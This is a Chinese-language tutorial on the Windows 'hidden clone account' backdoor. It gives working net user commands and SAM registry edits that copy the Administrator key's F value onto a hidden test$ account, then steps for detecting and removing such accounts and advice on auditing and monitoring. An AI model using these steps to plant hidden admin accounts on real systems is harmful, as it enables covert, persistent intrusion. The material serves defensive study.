Windows 隱藏克隆帳戶手工製作全過程：從建立到注冊表植入的後門技術揭秘

威脅模型

攻擊者入侵後植入「隱藏克隆帳戶」：複製 Administrator 的註冊表權限鍵值到低權限帳戶，再隱藏該帳戶，使其在「使用者管理」與 net user 均不可見，卻擁有完整系統權限，極難被發現與清除。

實作步驟 (僅供防禦研究)

1. 建立低權限帳戶並提權：
   net user test$ /add
net localgroup administrators test$ /add
2. 取得 SAM 控制權限：
   regedt32.exe → HKEY_LOCAL_MACHINE\SAM\SAM → 編輯→權限 → Administrators 完全控制
3. 定位鍵值對應：
   regedit.exe → HKLM\SAM\SAM\Domains\Account\Users\Names\test$ 右側 Type=0x404 → 對應 HKLM\SAM\SAM\Domains\Account\Users\00000404；
   Administrator 對應 000001F4。
4. 匯出並替換權限鍵值：
   匯出 test$.reg、00000404.reg (user)、000001F4.reg (admin) → 記事本打開 admin.reg 複製 F 鍵值內容覆蓋 user.reg 同位置 → 存檔。
5. 清除殼帳戶並植入：
   net user test$ /del (僅刪除 Names 下項目，SAM 內權限資料保留) → 雙擊匯入 test$.reg、user.reg 完成隱藏克隆帳戶植入。

檢測與清除

• 檢測：regedit → HKLM\SAM\SAM\Domains\Account\Users\Names 若有帳戶但 net user 不見，即為隱藏帳戶；比對 Users\ 下鍵值 F 權限位元組與 Administrator 是否一致。
• 清除：刪除 Names 下對應項目、Users 下對應鍵值 (如 00000404)，重啟生效。

防禦建議

• 定期稽核 SAM\SAM\Domains\Account\Users\Names 與 Users 下鍵值一致性。
• 啟用「稽核安全性事件」記錄帳戶管理事件 (Event ID 4720/4722/4726/4738)。
• 部署 HIDS/EDR 監控註冊表 SAM 區寫入行為。
• 最小權限原則：日常運維禁止使用 Administrator 直接登入。

聲明：本文旨在揭示攻擊原理協助防禦，嚴禁用於非授權滲透測試或惡意植入後門。